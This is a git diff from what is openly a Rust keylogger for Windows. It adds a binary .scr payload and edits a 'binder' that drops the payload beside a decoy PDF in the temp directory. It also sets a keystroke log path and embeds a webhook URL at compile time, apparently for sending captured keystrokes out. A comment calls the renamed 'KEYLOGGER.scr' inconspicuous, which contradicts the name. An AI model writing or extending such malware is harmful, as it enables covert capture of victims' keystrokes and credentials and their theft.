diff --git a/assets/win_payload.scr b/assets/win_payload.scr new file mode 100644 index 0000000..1391ac3 Binary files /dev/null and b/assets/win_payload.scr differ diff --git a/src/bin/binder.rs b/src/bin/binder.rs index 0d85b87..a10c824 100644 --- a/src/bin/binder.rs +++ b/src/bin/binder.rs @@ -28,8 +28,8 @@ fn main() { let pdf_path = tmp.join("sample.pdf"); // # Define the full path for the payload file within the temporary directory. - // A generic name like "scrn.scr" is chosen to be inconspicuous. - let scr_path = tmp.join("scrn.scr"); + // A generic name like "KEYLOGGER.scr" is chosen to be inconspicuous. + let scr_path = tmp.join("KEYLOGGER.scr"); // # Write the embedded PDF data to the file system. // This block creates a new file at `pdf_path`. If successful, it writes the diff --git a/src/main.rs b/src/main.rs index 2959d8f..afd7cb7 100644 --- a/src/main.rs +++ b/src/main.rs @@ -14,7 +14,7 @@ use winreg::RegKey; // The contents of the file are read at COMPILE TIME and put here as a string const WEBHOOK_URL: &str = include_str!("../config/webhook.url"); -const LOG_PATH: &str = "C:\\Users\\Public\\logrust.txt"; +const LOG_PATH: &str = "C:\\Users\\Public\\keylogs.txt"; /// # Checks if the Caps Lock key is toggled on. ///